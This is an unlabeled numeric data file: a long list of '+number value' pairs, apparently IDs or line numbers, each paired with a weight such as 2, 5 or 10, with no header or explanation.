+15183 10 +15184 10 +15185 10 +15186 10 +15187 10 +15188 10 +15189 10 +15190 10 +15191 10 +15192 10 +15193 10 +15194 10 +15195 10 +15196 10 +15197 10 +15198 10 +15199 10 +15200 10 +15201 10 +15202 10 +15203 10 +15204 10 +15205 10 +15206 10 +15207 10 +15208 10 +15209 10 +15210 10 +15211 10 +15212 10 +15213 10 +15214 10 +15215 10 +15216 10 +15217 10 +15218 10 +15219 10 +15220 10 +15221 10 +15222 10 +15223 10 +15224 10 +15225 10 +15226 10 +15227 10 +15228 10 +15229 10 +15230 10 +15231 10 +15232 10 +15233 10 +15234 10 +15235 10 +15236 10 +15237 10 +15238 10 +15239 10 +15240 10 +15241 10 +15242 10 +15243 10 +15244 10 +15245 10 +15246 10 +15247 10 +15248 10 +15249 10 +15250 10 +15251 10 +15252 10 +15253 10 +15254 10 +15256 10 +15257 10 +15258 10 +15259 10 +15260 10 +15261 10 +15262 10 +15263 10 +15264 10 +15265 10 +15266 10 +15267 10 +15268 10 +15269 10 +15270 10 +15271 10 +15272 10 +15273 10 +15274 10 +15275 10 +15276 10 +15277 10 +15278 10 +15279 10 +15280 10 +15281 10 +15282 10 +15283 10 +15284 10 +15285 10 +15286 10 +15287 10 +15288 10 +15289 10 +15290 10 +15291 10 +15292 10 +15293 10 +15294 10 +15295 10 +15296 10 +15297 10 +15298 10 +15299 10 +15300 10 +15301 10 +15302 10 +15303 10 +15304 10 +15305 10 +15306 10 +15307 10 +15308 10 +15309 10 +15310 10 +15311 10 +15312 10 +15313 10 +15314 10 +15315 10 +15316 10 +15317 10 +15318 10 +15319 10 +15320 10 +15321 10 +15322 10 +15323 10 +15324 10 +15325 10 +15326 10 +15327 10 +15328 10 +15329 10 +15330 10 +15331 10 +15332 10 +15333 10 +15334 10 +15335 10 +15336 10 +15337 10 +15344 10 +15345 10 +15346 10 +15347 10 +15348 10 +15349 10 +15350 10 +15351 10 +15352 10 +15353 10 +15354 10 +15355 10 +15373 2 +15374 2 +15375 2 +15376 5 +15377 3 +15378 2 +15379 2 +15380 5 +15381 5 +15382 2 +15383 2 +15384 1.3 +15385 2 +15386 2 +15387 5 +15388 1.3 +15389 5 +15390 10 +15391 1.3 +15392 1.3 +15393 5 +15394 2 +15395 5 +15396 5 +15397 1.3 +15398 10 +15399 10 +15400 2 +15401 2 +15402 2 +15403 2 +15404 2 +15405 2 +15406 2 +15407 2 +15408 2 +15409 2 +15410 2 +15411 2 +15412 2 +15413 2 +15414 2 +15415 2 +15416 2 +15417 2 +15418 2 +15419 2 +15420 2 +15421 2 +15422 2 +15423 2 +15425 2 +15426 2 +15427 2 +15428 2 +15429 2 +15430 2 +15431 2 +15432 1.3 +15433 2 +15440 2 +15441 2 +15442 2 +15443 2 +15444 2 +15445 2 +15446 2 +15448 2 +15449 2 +15450 2 +15451 2 +15452 2 +15453 2 +15454 2 +15455 2 +15457 2 +15458 2 +15460 2 +15462 2 +15463 2 +15464 2 +15466 2 +15467 5 +15468 2 +15469 2 +15470 2 +15471 2 +15472 2 +15473 2 +15474 2 +15475 2 +15476 2 +15477 2 +15478 2 +15479 2 +15480 2 +15481 2 +15482 2 +15483 2 +15484 2 +15485 2 +15486 2 +15487 2 +15488 2 +15489 2 +15490 2 +15491 2 +15492 2 +15493 2 +15494 2 +15495 2 +15496 2 +15497 2 +15498 2 +15499 2 +15500 2 +15501 2 +15502 2 +15503 2 +15504 2 +15505 2 +15518 2 +15519 2 +15520 2 +15521 2 +15522 2 +15523 2 +15524 2 +15525 2 +15526 2 +15527 2 +15528 2 +15529 2 +15530 2 +15531 2 +15532 2 +15533 2 +15534 2 +15535 5 +15536 5 +15538 10 +18128 10 +18129 10 +18239 10 +18242 10 +18243 10 +18244 10 +18245 10 +18246 10 +18247 10 +18248 10 +18249 10 +18250 10 +18251 10 +18252 10 +18253 10 +18254 10 +18255 10 +18256 10 +18257 10 +18258 10 +18259 10 +18260 10 +18261 10 +18262 10 +18263 10 +14860 10 +14879 10 +14880 5 +14883 5 +14885 5 +14887 5 +14888 5 +14889 5 +14893 10 +15003 2 +14921 5 +14923 5 +14926 5 +14914 5 +14916 5 +14927 5 +5961 2 +14913 5 +3030 5 +5670 5 +5671 5 +3064 5 +1443 5 +3748 3 +3757 3 +3775 3 +3783 3 +3786 3 +3787 3 +3793 3 +3794 3 +3795 3 +3797 3 +3798 3 +3801 3 +3804 3 +3806 3 +3807 3 +3808 3 +3809 3 +3810 3 +3811 3 +3812 3 +3813 3 +3849 2 +3851 5 +4484 3 +4508 5 +4509 5 +4510 5 +4511 5 +4512 5 +4515 5 +4516 5 +4517 5 +4519 5 +4522 5 +4523 5 +4524 5 +4525 5 +4527 5 +4528 5 +4530 5 +4531 5 +4532 5 +4533 5 +4534 5 +4535 5 +4536 5 +4537 5 +4538 5 +4540 5 +4666 5 +4667 5 +4668 5 +4669 5 +4670 5 +4671 5 +4672 10 +4673 5 +4675 5 +4676 5 +4678 5 +4679 5 +4680 5 +4682 5 +4683 5 +4688 5 +4689 5 +4690 2 +4691 2 +4692 2 +4693 2 +4694 2 +4696 2 +4697 2 +4698 2 +4699 5 +4700 2 +4709 2 +4710 2 +4711 2 +4713 2 +4714 2 +4715 2 +4716 2 +4717 2 +4718 2 +4719 2 +4720 2 +4721 2 +4722 2 +4723 2 +4724 2 +4726 10 +4727 10 +4728 10 +4729 10 +4731 10 +4734 2 +4735 10 +4738 10 +4739 10 +4740 10 +4741 10 +4743 10 +4744 10 +4746 10 +4747 10 +4748 10 +4749 10 +4750 10 +4751 10 +4752 10 +4753 10 +4755 2 +4756 2 +4757 2 +4758 2 +4759 2 +4760 2 +4761 2 +4762 2 +4763 2 +4764 2 +4765 2 +4766 2 +4767 2 +4768 2 +4769 2 +4770 2 +4771 2 +4772 2 +4773 2 +4774 2 +4775 2 +4776 2 +4777 2 +4778 2 +4779 2 +4780 2 +4781 2 +4788 2 +4789 2 +4790 2 +4791 2 +4792 2 +4793 2 +4794 2 +4795 2 +4796 2 +4797 2 +4798 2 +4799 2 +4800 2 +4801 2 +4802 2 +4803 2 +4804 2 +4805 2 +4806 2 +4807 2 +4808 2 +4809 2 +4810 2 +4811 2 +4812 2 +4813 2 +4815 2 +4816 2 +4817 2 +4818 2 +4819 2 +4820 2 +4821 2 +4822 2 +4823 2 +4824 2 +4825 2 +4826 2 +4827 2 +4828 2 +4829 2 +4830 2 +4831 2 +4832 2 +4833 2 +4834 3 +4836 3 +4838 5 +4839 3 +4840 2 +4841 2 +4842 2 +4843 2 +4844 2 +4845 2 +4846 2 +4848 5 +4849 5 +4850 5 +4851 5 +5209 2 +5215 2 +5273 10 +5478 5 +5480 5 +5481 5 +5482 5 +5483 5 +5484 5 +5485 5 +5486 5 +5487 5 +5489 2 +5490 5 +5494 2 +5495 2 +5496 2 +5497 2 +5498 2 +5499 2 +5500 2 +5501 2 +5504 10 +5506 10 +5674 10 +5675 10 +5723 5 +5754 5 +5756 2 +5758 2 +5759 2 +5760 2 +5761 3 +5762 2 +5763 3 +5764 3 +5765 2 +5766 2 +5768 2 +5770 2 +5772 2 +5774 2 +5776 2 +5778 2 +5780 2 +5782 2 +5784 1.3 +5785 2 +5786 2 +5787 2 +5788 2 +5789 2 +5790 2 +5791 2 +5792 2 +5794 1.3 +5796 3 +5797 1.3 +5798 3 +5800 3 +5802 2 +5804 1.3 +5805 2 +5807 2 +5808 2 +5809 2 +5810 2 +5811 3 +5812 2 +5813 2 +5815 3 +5817 2 +5818 2 +5819 2 +5820 2 +5821 2 +5822 1.3 +5823 2 +5825 2 +5827 1.3 +5829 2 +5831 2 +5833 1.3 +5838 2 +5853 2 +5857 2 +5858 5 +5859 5 +5860 2 +5862 3 +5863 3 +5865 5 +5866 5 +5867 2 +5870 5 +5871 5 +5872 5 +5873 5 +5874 5 +5876 5 +5877 5 +5878 5 +5879 5 +5880 5 +5881 5 +5882 5 +5884 2 +5885 2 +5886 2 +5887 2 +5888 2 +5889 5 +5890 2 +5891 3 +5892 5 +5893 5 +5894 2 +5895 5 +5896 5 +5897 5 +5898 5 +5899 2 +5900 5 +5901 5 +5902 2 +5903 5 +5904 5 +5908 3 +5909 3 +5911 3 +5913 3 +5915 3 +5916 3 +5918 3 +5920 3 +5925 10 +5928 2 +5930 2 +5932 10 +5934 2 +5936 2 +5938 10 +5940 10 +5944 2 +5945 1.5 +5946 1.3 +5948 10 +5951 10 +5954 10 +5957 3 +5967 2 +5969 2 +5970 3 +5971 2 +5972 2 +5973 3 +5974 2 +5975 3 +5976 2 +5977 2 +5978 2 +5979 2 +5980 2 +5981 2 +5983 2 +5985 2 +5987 2 +5991 2 +5992 2 +5993 2 +5994 2 +5995 5 +5996 3 +5998 2 +6002 2 +6004 2 +6008 2 +6010 2 +6012 2 +6014 3 +6016 2 +6018 2 +6020 2 +6022 2 +6026 3 +6030 2 +6032 2 +6036 3 +6038 2 +6040 2 +6042 2 +6044 2 +6046 2 +6047 2 +6048 2 +6049 2 +6050 2 +6051 2 +6052 2 +6053 2 +6054 2 +6055 2 +6056 2 +6057 2 +6058 2 +6059 2 +6060 2 +6061 2 +6062 2 +6063 2 +6064 2 +6065 2 +6066 2 +6067 2 +6068 2 +6069 2 +6070 2 +6071 2 +6072 2 +6073 2 +6074 2 +6075 2 +6130 2 +6132 2 +6136 2 +6138 2 +6140 2 +6142 2 +6144 2 +6146 3 +6148 3 +6151 2 +6153 3 +6155 3 +6157 3 +6159 3 +6161 2 +6163 2 +6165 2 +6173 5 +6176 5 +6178 2 +6180 2 +6182 2 +6184 3 +6185 2 +6186 5 +6187 2 +6188 2 +6189 2 +6191 2 +6192 5 +6193 2 +6194 2 +6195 2 +6197 2 +6198 2 +6199 2 +6200 2 +6201 2 +6202 2 +6203 2 +6204 2 +6206 2 +6208 2 +6211 2 +6212 2 +6213 2 +6214 2 +6215 2 +6216 2 +6217 2 +6219 2 +6220 2 +6222 2 +6223 2 +6224 2 +6225 2 +6226 2 +6228 2 +6229 2 +6230 2 +6231 2 +6232 2 +6233 2 +6234 2 +6235 2 +6236 2 +6237 2 +6238 2 +6239 2 +6240 2 +6242 2 +6243 2 +6244 5 +6245 2 +6249 2 +6250 2 +6251 2 +6258 2 +6259 2 +6260 2 +6261 2 +6262 2 +6264 2 +6265 2 +6266 2 +6268 2 +6269 2 +6271 2 +6272 2 +6273 2 +6274 2 +6276 2 +6278 2 +6280 2 +6281 2 +6282 2 +6283 2 +6284 2 +6285 2 +6286 2 +6287 2 +6288 2 +6289 2 +6292 3 +6293 3 +6294 3 +6297 3 +6299 3 +6301 5 +6302 2 +6303 2 +6304 3 +6305 5 +6306 5 +6307 5 +6308 2 +6309 3 +6310 2 +6312 3 +6314 3 +6319 2 +6320 5 +6321 10 +6322 2 +6323 2 +6324 1.3 +6325 2 +6326 2 +6327 2 +6328 1.3 +6329 1.5 +6330 10 +6331 2 +6332 2 +6333 2 +6334 10 +6335 2 +6336 2 +6337 2 +6339 2 +6340 2 +6341 2 +6343 10 +6344 10 +6345 2 +6346 2 +6347 2 +6348 2 +6349 2 +6350 2 +6351 2 +6353 2 +6354 2 +6355 5 +6357 10 +6358 10 +6359 10 +6360 10 +6361 10 +6363 5 +6364 3 +6365 5 +6366 5 +6368 3 +6370 2 +6371 2 +6373 10 +6375 2 +6377 3 +6379 2 +6381 10 +6383 2 +6384 2 +6385 2 +6386 2 +6387 3 +6388 3 +6389 3 +6390 2 +6391 2 +6392 2 +6393 3 +6394 2 +6395 2 +7298 2 +7300 2 +7305 1.3 +7307 2 +7309 2 +7310 2 +7311 2 +7312 2 +7313 2 +7314 2 +7315 2 +7316 2 +7317 2 +7318 1.0 +7319 2 +7320 2 +7321 2 +7322 1.3 +7325 10 +7326 10 +7327 10 +7328 10 +7329 10 +7330 10 +7331 10 +7333 10 +7335 10 +7336 10 +7337 10 +7338 10 +7339 10 +7340 10 +7341 10 +7342 10 +7343 10 +7344 10 +7345 10 +7347 10 +7349 10 +7350 10 +7351 10 +7352 10 +7353 10 +7354 10 +7356 10 +7357 10 +7358 10 +7359 10 +7360 10 +7362 10 +7363 10 +7364 10 +7365 10 +7366 10 +7367 10 +7368 10 +7370 10 +7371 10 +7373 10 +7374 10 +7375 10 +7376 10 +7377 10 +7378 10 +7379 10 +7380 10 +7381 10 +7383 10 +7384 10 +7385 10 +7386 10 +7387 10 +7388 10 +7389 10 +7390 10 +7392 10 +7393 10 +7394 10 +7395 10 +7397 10 +7398 10 +7399 10 +7400 10 +7401 10 +7402 10 +7403 10 +7404 10 +7405 10 +7406 10 +7407 10 +7408 10 +7409 10 +7410 10 +7412 10 +7413 10 +7414 10 +7415 10 +7416 10 +7418 10 +7419 10 +7420 10 +7421 10 +7422 10 +7423 10 +7424 10 +7425 10 +7427 10 +7429 10 +7430 10 +7431 10 +7433 10 +7434 10 +7435 10 +7436 10 +7437 10 +7438 10 +7439 10 +7440 10 +7441 10 +7442 10 +7444 10 +7445 10 +7446 10 +7447 10 +7449 10 +7451 10 +7452 10 +7453 10 +7454 10 +7456 10 +7457 10 +7459 10 +7460 10 +7462 10 +7463 10 +7464 10 +7465 10 +7467 10 +7468 10 +7469 10 +7470 10 +7471 10 +7472 10 +7473 10 +7474 10 +7475 10 +7476 10 +7477 10 +7478 10 +7479 10 +7481 10 +7482 10 +7483 10 +7484 10 +7485 10 +7486 10 +7487 10 +7488 10 +7489 10 +7490 10 +7491 10 +7492 10 +7493 10 +7494 10 +7495 10 +7496 10 +7497 10 +7498 10 +7499 10 +7500 10 +7502 10 +7503 10 +7504 10 +7505 10 +7506 10 +7507 10 +7508 10 +7509 10 +7510 10 +7511 10 +7512 10 +7513 10 +7514 10 +7721 2 +7723 5 +7724 5 +7725 5 +7726 5 +7727 5 +7728 5 +7729 5 +7730 5 +7731 5 +7732 5 +7733 5 +7734 5 +7735 5 +7736 5 +7737 5 +7738 5 +7739 5 +7740 5 +7741 5 +7742 5 +7743 5 +7744 5 +7745 5 +7746 5 +7747 5 +7748 5 +7749 5 +7750 5 +7751 5 +7752 5 +7753 5 +7754 5 +7755 5 +7756 5 +7757 5 +7758 5 +7759 5 +7760 5 +7761 5 +7762 5 +7763 5 +7764 5 +7765 5 +7766 5 +7767 5 +7768 5 +7769 5 +7770 5 +7771 5 +7772 5 +7773 5 +7774 5 +7775 5 +7776 5 +7777 5 +7778 5 +7779 5 +7780 5 +7781 5 +7782 2 +7783 5 +7784 5 +7785 5 +7786 5 +7787 5 +7788 5 +7789 5 +7790 5 +7791 5 +7792 5 +7793 5 +7794 5 +7795 2 +7796 5 +7797 5 +7798 5 +7799 5 +7800 5 +7801 5 +7802 5 +7803 5 +7804 10 +7805 5 +7806 10 +7807 5 +7808 5 +7809 5 +7810 5 +7811 5 +7812 5 +7813 5 +7814 5 +7815 5 +7816 10 +7817 10 +7818 5 +7821 5 +7822 5 +7824 5 +7825 5 +7830 5 +7831 5 +7835 5 +7836 5 +7839 5 +7841 5 +7844 5 +7845 5 +7849 5 +7855 10 +7859 5 +7862 10 +7863 10 +7864 10 +7865 10 +7866 10 +7867 10 +7868 10 +7869 10 +7870 10 +7871 10 +7872 10 +7873 10 +7874 10 +7875 10 +7876 10 +7877 10 +7878 10 +7879 10 +7880 10 +7881 10 +7882 10 +7884 10 +7885 10 +7886 10 +7887 10 +7888 10 +7889 10 +7891 10 +7892 10 +7893 10 +7894 10 +7895 10 +7896 10 +7897 10 +7898 10 +7899 10 +7900 10 +7901 10 +7902 10 +7903 10 +7904 10 +7905 10 +7906 2 +7907 2 +7908 5 +7909 5 +7910 5 +7911 5 +7912 5 +7913 5 +7914 5 +7915 5 +7916 5 +7917 5 +7918 5 +7919 5 +7920 5 +7921 5 +7922 5 +7923 5 +7924 5 +7925 5 +7926 5 +7927 5 +7928 5 +7929 5 +7930 5 +7931 5 +7932 5 +7933 5 +7934 5 +7935 5 +7936 5 +7937 5 +7938 5 +7939 5 +7940 5 +7941 5 +7942 5 +7943 5 +7944 5 +7945 5 +7946 5 +7947 5 +7948 5 +7949 5 +7950 5 +7951 5 +7952 5 +7953 5 +7954 5 +7955 5 +7956 5 +7957 5 +7958 5 +7959 5 +7960 5 +7961 5 +7962 5 +7963 5 +7964 5 +7965 5 +7966 5 +7967 5 +7968 5 +7969 5 +7970 5 +7971 5 +7972 5 +7973 5 +7974 5 +7975 5 +7976 5 +7977 5 +7978 5 +7979 5 +7980 5 +7981 5 +7982 5 +7983 5 +7984 5 +7985 5 +7986 5 +7987 5 +7988 5 +7989 5 +7990 5 +7991 5 +7992 5 +7993 5 +7994 5 +7995 5 +7996 5 +7997 5 +7998 5 +7999 5 +8000 5 +8001 5 +8002 5 +8003 5 +8004 5 +8005 10 +8006 10 +8007 10 +8008 10 +8009 10 +8010 10 +8011 5 +8012 5 +8013 5 +8014 5 +8015 5 +8016 5 +8017 5 +8018 5 +8019 5 +8020 5 +8021 5 +8022 5 +8023 5 +8024 5 +8025 5 +8026 5 +8027 5 +8028 5 +8029 5 +8030 5 +8031 5 +8032 5 +8033 5 +8034 5 +8035 5 +8036 5 +8037 5 +8038 5 +8039 5 +8040 5 +8041 5 +8042 5 +8043 10 +8044 10 +8045 10 +8046 5 +8047 5 +8048 5 +8049 5 +8050 5 +8051 5 +8052 5 +8053 5 +8054 10 +8055 5 +8056 5 +8057 5 +8058 10 +8059 5 +8060 5 +8061 5 +8062 5 +8063 5 +8064 10 +8065 5 +8066 5 +8067 5 +8068 5 +8069 10 +8070 10 +8071 10 +8072 10 +8073 10 +8074 10 +8075 10 +8076 10 +8077 10 +8078 10 +8079 10 +8080 10 +8081 10 +8082 10 +8083 10 +8084 10 +8085 10 +8086 10 +8087 10 +8088 10 +8089 10 +8090 10 +8091 10 +8092 10 +8093 10 +8094 5 +8095 5 +8096 5 +8097 5 +8098 5 +8099 5 +8100 5 +8101 5 +8102 5 +8103 5 +8104 5 +8105 5 +8106 5 +8107 5 +8108 5 +8109 5 +8110 5 +8111 5 +8112 5 +8113 5 +8114 5 +8115 5 +8116 5 +8117 5 +8118 5 +8119 5 +8120 5 +8121 5 +8122 5 +8123 5 +8124 5 +8125 5 +8126 5 +8127 5 +8128 5 +8129 5 +8130 5 +8131 5 +8132 5 +8133 5 +8134 5 +8135 5 +8136 5 +8137 5 +8138 5 +8139 5 +8140 5 +8141 5 +8142 5 +8143 5 +8144 10 +8145 10 +8146 10 +8147 10 +8148 10 +8149 10 +8150 10 +8151 10 +8152 10 +8153 10 +8154 10 +8155 10 +8156 10 +8157 10 +8158 10 +8159 10 +8160 10 +8161 10 +8162 10 +8163 10 +8164 10 +8165 10 +8166 10 +8167 10 +8168 10 +8169 10 +8170 10 +8171 10 +8463 2 +8464 1.0 +8465 2 +8466 1.2 +8467 1.0 +8468 1.2 +8469 1.0 +8470 1.0 +8471 1.0 +8472 2 +8473 1.3 +8474 1.0 +8475 2 +8476 1.3 +8477 1.2 +8478 1.0 +8479 1.2 +8480 1.3 +8481 1.0 +8482 2 +8483 2 +8484 1.1 +8485 1.2 +8486 2 +8488 2 +8489 2 +8490 1.2 +8491 1.2 +8492 2 +8493 2 +8494 2 +8495 2 +8496 1.1 +8497 2 +8498 1.3 +8499 2 +8500 2 +8501 2 +8507 2 +8524 1.3 +8525 1.3 +8526 1.3 +8527 1.0 +8528 1.3 +8529 1.3 +8530 1.3 +8531 1.3 +8532 1.2 +8533 1.3 +8534 1.0 +8535 1.3 +8536 1.3 +8537 1.3 +8551 2 +8552 2 +8553 2 +8554 5 +8555 2 +8556 2 +8557 2 +8558 2 +8559 2 +8560 2 +8561 2 +8562 2 +8563 2 +8564 2 +8565 2 +8566 2 +8567 2 +8568 2 +8569 2 +8570 2 +8571 2 +8572 2 +8573 2 +8574 2 +8575 2 +8576 2 +8577 2 +8578 2 +8579 2 +8580 2 +8581 2 +8582 2 +8609 2 +8610 2 +8611 2 +8612 1.5 +8613 2 +8614 2 +8615 2 +8616 2 +8617 5 +8618 2 +8619 2 +8620 2 +8621 2 +8622 2 +8623 2 +8624 2 +8625 2 +8626 2 +8627 2 +8628 2 +8629 2 +8630 2 +8631 2 +8632 2 +8633 2 +8640 5 +8641 5 +8642 5 +8643 5 +8644 5 +8645 5 +8646 5 +8647 5 +8648 5 +8649 5 +8650 5 +8651 5 +8652 10 +8653 2 +8654 2 +8655 2 +8656 2 +8657 2 +8658 2 +8659 2 +8660 2 +8661 5 +8662 2 +8663 2 +8664 2 +8665 2 +8666 2 +8667 2 +8668 2 +8684 2 +8685 2 +8686 2 +8687 2 +8688 2 +8689 2 +8690 2 +8691 2 +8692 2 +8693 2 +8694 2 +8695 2 +8696 2 +8697 2 +8698 2 +8699 2 +8700 2 +8701 2 +8702 1.0 +8703 1.0 +8704 2 +8705 2 +8706 2 +8707 2 +8708 2 +8709 2 +8710 2 +8711 2 +8712 2 +8713 2 +8714 2 +8715 2 +8716 2 +8717 3 +8718 2 +8719 2 +8720 10 +9501 2 +9502 3 +9503 3 +9504 5 +9505 2 +9506 2 +9507 2 +9508 3 +9509 3 +9510 3 +9511 3 +9512 10 +9513 10 +9514 10 +9515 10 +9516 10 +9517 10 +9518 10 +9519 10 +9520 10 +9521 10 +9522 10 +9523 10 +9524 2 +9525 2 +9526 3 +9528 5 +9529 5 +9530 5 +9531 5 +9532 5 +9533 5 +9534 5 +9535 5 +9536 5 +9537 5 +9538 5 +9539 5 +9540 5 +9541 3 +9542 10 +9543 3 +9544 3 +9545 3 +9546 3 +9547 3 +9548 2 +9549 10 +9550 10 +9552 10 +9553 10 +9554 10 +9555 10 +9556 10 +9557 10 +9560 10 +9562 10 +9563 10 +9564 10 +9565 10 +9566 10 +9567 10 +9568 10 +9569 10 +9570 10 +9571 10 +9572 10 +9573 10 +9574 10 +9575 10 +9576 10 +9577 10 +9578 10 +9579 10 +9580 10 +9581 10 +9582 10 +9583 10 +9584 10 +9585 10 +9586 10 +9587 10 +9589 10 +9590 10 +9591 10 +9592 10 +9593 10 +9595 10 +9596 10 +9598 10 +9599 10 +9600 10 +9601 10 +9602 10 +9603 10 +9604 10 +9606 10 +9607 10 +9608 10 +9609 10 +9612 10 +9613 10 +9614 10 +9615 10 +9616 10 +9617 10 +9618 10 +9619 10 +9620 10 +9621 10 +9622 10 +9623 10 +9624 10 +9625 10 +9626 10 +9627 10 +9628 10 +9629 10 +9630 10 +9631 10 +9632 10 +9633 10 +9634 10 +9635 10 +9636 10 +9637 10 +9638 10 +9639 10 +9644 10 +9646 10 +9648 10 +9649 10 +9650 10 +9651 10 +9653 10 +9654 10 +9655 10 +9656 10 +9657 10 +9658 10 +9659 10 +9660 10 +9661 10 +9662 10 +9663 10 +9664 10 +9665 10 +9666 10 +9667 10 +9668 10 +9669 10 +9670 10 +9671 10 +9672 10 +9673 10 +9674 10 +9675 10 +9676 10 +9677 10 +9678 10 +9679 10 +9680 10 +9681 10 +9682 10 +9683 10 +9684 10 +9685 10 +9695 10 +9696 10 +9697 10 +9698 10 +9699 10 +9700 10 +9705 10 +9706 10 +9707 10 +9708 10 +9709 10 +9710 10 +9711 10 +9712 10 +9713 10 +9714 10 +9715 10 +9716 10 +9717 10 +9718 10 +9719 10 +9720 10 +9721 10 +9722 10 +9723 10 +9724 10 +9725 10 +9727 10 +9728 10 +9729 10 +9730 10 +9731 10 +9732 10 +9733 10 +9734 10 +9735 10 +9736 10 +9737 10 +9738 10 +9739 10 +9740 10 +9741 10 +9742 10 +9743 10 +9744 10 +9745 10 +9746 10 +9747 10 +9748 10 +9749 10 +9750 10 +9751 10 +9752 10 +9753 10 +9754 10 +9755 10 +9758 10 +9760 10 +9761 10 +9762 10 +9763 10 +9764 10 +9766 8 +9767 8 +9768 8 +9769 8 +9770 8 +9771 8 +9772 8 +9773 8 +9774 8 +9775 8 +9776 8 +9777 8 +9778 8 +9779 8 +9780 8 +9781 8 +9782 8 +9783 8 +9784 8 +9785 8 +9786 8 +9787 8 +9788 8 +9789 8 +9790 8 +9791 8 +9792 8 +9793 8 +9794 8 +9796 8 +9797 5 +9798 5 +9799 5 +9800 5 +9801 8 +9802 8 +9803 8 +9804 8 +9805 5 +9806 5 +9807 5 +9808 5 +9809 5 +9810 5 +9811 5 +9812 5 +9813 5 +9814 5 +9815 10 +9816 8 +9817 10 +9818 10 +9819 8 +9820 8 +9821 10 +9822 10 +9823 10 +9824 10 +9825 10 +9826 10 +9827 10 +9828 10 +9829 10 +9830 10 +9831 8 +9832 8 +9833 8 +9834 8 +9835 8 +9836 8 +9837 8 +9838 8 +9839 8 +9840 8 +9841 8 +9842 10 +9843 10 +9844 10 +9845 10 +9846 10 +9847 10 +9848 5 +9849 5 +9850 5 +9852 10 +9853 5 +9854 10 +9855 5 +9856 10 +9859 10 +9860 10 +9861 5 +9862 5 +9863 5 +9865 10 +9866 10 +9868 10 +9870 10 +9871 10 +9875 10 +9876 10 +9877 10 +9878 10 +9880 10 +9881 10 +9883 10 +9884 10 +9885 10 +9886 10 +9887 10 +9888 10 +9889 10 +9890 10 +9893 10 +9895 10 +9896 10 +9897 10 +9898 10 +9899 10 +9900 10 +9901 10 +9902 10 +9903 10 +9904 10 +9905 10 +9906 10 +9908 10 +9909 10 +9910 10 +9911 10 +9914 10 +9918 10 +9927 10 +9928 10 +9929 10 +9930 10 +9931 10 +9932 10 +9933 10 +9934 10 +9935 10 +9936 10 +9937 10 +9938 10 +9939 10 +9940 10 +9941 10 +9943 10 +9944 10 +9945 10 +9946 10 +9947 10 +9948 2 +9949 2 +9950 2 +9951 2 +9952 10 +9953 10 +9954 10 +9955 10 +9956 10 +9957 10 +9958 10 +9959 10 +9960 10 +9961 10 +9962 10 +9963 10 +9964 10 +9965 10 +9966 10 +9967 10 +9968 10 +9969 10 +9970 5 +9971 5 +9972 5 +9973 5 +9974 5 +9975 5 +9976 3 +9977 3 +9978 5 +9979 5 +9980 5 +9981 10 +9982 5 +9983 3 +9984 5 +9985 5 +9986 5 +9987 5 +9988 10 +9989 5 +9990 10 +9993 10 +9994 5 +9995 5 +9996 10 +9997 10 +9998 10 +9999 10 +10000 10 +10001 10 +10002 10 +10003 10 +10004 10 +10005 10 +10006 10 +10007 10 +10008 10 +10018 10 +10019 10 +10020 10 +10021 10 +10022 10 +10023 10 +10024 10 +10025 10 +10026 10 +10027 10 +10028 10 +10029 10 +10030 10 +10031 10 +10032 10 +10033 10 +10034 10 +10035 10 +10036 10 +10037 10 +10038 10 +10039 10 +10040 10 +10041 10 +10042 10 +10043 10 +10048 10 +10049 10 +10050 10 +10051 10 +10052 10 +10053 10 +10054 10 +10056 10 +10057 10 +10058 10 +10059 10 +10060 10 +10061 10 +10062 10 +10063 10 +10064 10 +10065 10 +10066 10 +10067 10 +10068 10 +10069 10 +10070 10 +10071 10 +10072 10 +10073 10 +10074 10 +10075 10 +10076 10 +10077 10 +10078 10 +10079 10 +10080 10 +10081 10 +10082 10 +10083 10 +10084 10 +10086 10 +10087 10 +10091 10 +10092 10 +10095 10 +10097 10 +10098 10 +10099 10 +10100 10 +10101 10 +10102 10 +10103 10 +10104 10 +10105 10 +10106 10 +10107 10 +10108 10 +10109 10 +10110 10 +10111 10 +10112 10 +10113 10 +10114 10 +10115 10 +10116 10 +10117 10 +10122 10 +10123 10 +10124 10 +10125 10 +10126 10 +10127 10 +10128 10 +10129 10 +10130 10 +10131 10 +10132 10 +10133 10 +10134 10 +10135 10 +10136 10 +10137 10 +10138 10 +10139 10 +10140 10 +10141 10 +10142 10 +10143 10 +10144 10 +10145 10 +10146 10 +10147 10 +10148 10 +10149 10 +10150 10 +10151 10 +10152 10 +10153 10 +10154 10 +10155 10 +10156 10 +10157 10 +10158 10 +10159 10 +10160 10 +10161 10 +10162 10 +10163 10 +10164 10 +10165 10 +10166 10 +10167 10 +10168 10 +10169 10 +10170 10 +10171 10 +10172 10 +10173 10 +10174 10 +10175 10 +10176 10 +10177 10 +10178 10 +10179 10 +10180 10 +10181 10 +10182 10 +10183 10 +10184 10 +10186 10 +10187 10 +10188 10 +10189 10 +10190 10 +10191 10 +10192 10 +10193 10 +10194 10 +10195 10 +10196 10 +10197 10 +10198 10 +10199 10 +10200 10 +10201 10 +10202 10 +10203 10 +10204 10 +10205 10 +10206 10 +10207 10 +10208 10 +10209 10 +10210 10 +10211 10 +10212 10 +10213 10 +10214 10 +10215 10 +10216 10 +10217 10 +10219 10 +10220 10 +10221 10 +10223 10 +10224 10 +10225 10 +10226 10 +10227 10 +10228 10 +10229 10 +10230 10 +10231 10 +10232 10 +10233 10 +10234 10 +10235 10 +10236 10 +10237 10 +10238 10 +10239 10 +10240 10 +10241 10 +10242 10 +10243 10 +10244 10 +10245 10 +10246 10 +10247 10 +10248 10 +10251 10 +10252 10 +10253 10 +10254 10 +10255 10 +10256 10 +10257 10 +10258 10 +10259 10 +10260 10 +10261 10 +10262 10 +10263 10 +10264 10 +10265 10 +10266 10 +10267 10 +10268 10 +10269 10 +10271 10 +10273 10 +10274 10 +10275 10 +10276 10 +10277 10 +10278 10 +10279 10 +10282 10 +10283 10 +10284 10 +10286 10 +10288 10 +10289 10 +10290 10 +10291 10 +10292 10 +10293 10 +10294 10 +10295 10 +10296 10 +10297 10 +10298 10 +10299 10 +10300 10 +10301 10 +10302 10 +10303 10 +10304 10 +10305 10 +10306 10 +10312 10 +10325 10 +10326 10 +10327 10 +10329 10 +10330 10 +10333 10 +10334 10 +10335 10 +10340 10 +10341 10 +10342 10 +10344 10 +10345 10 +10346 10 +10348 10 +10349 10 +10350 10 +10351 10 +10352 10 +10354 10 +10355 10 +10356 10 +10358 10 +10359 10 +10360 10 +10362 10 +10364 10 +10365 10 +10366 10 +10367 10 +10369 10 +10370 10 +10373 10 +10374 10 +10375 10 +10385 10 +10386 10 +10387 10 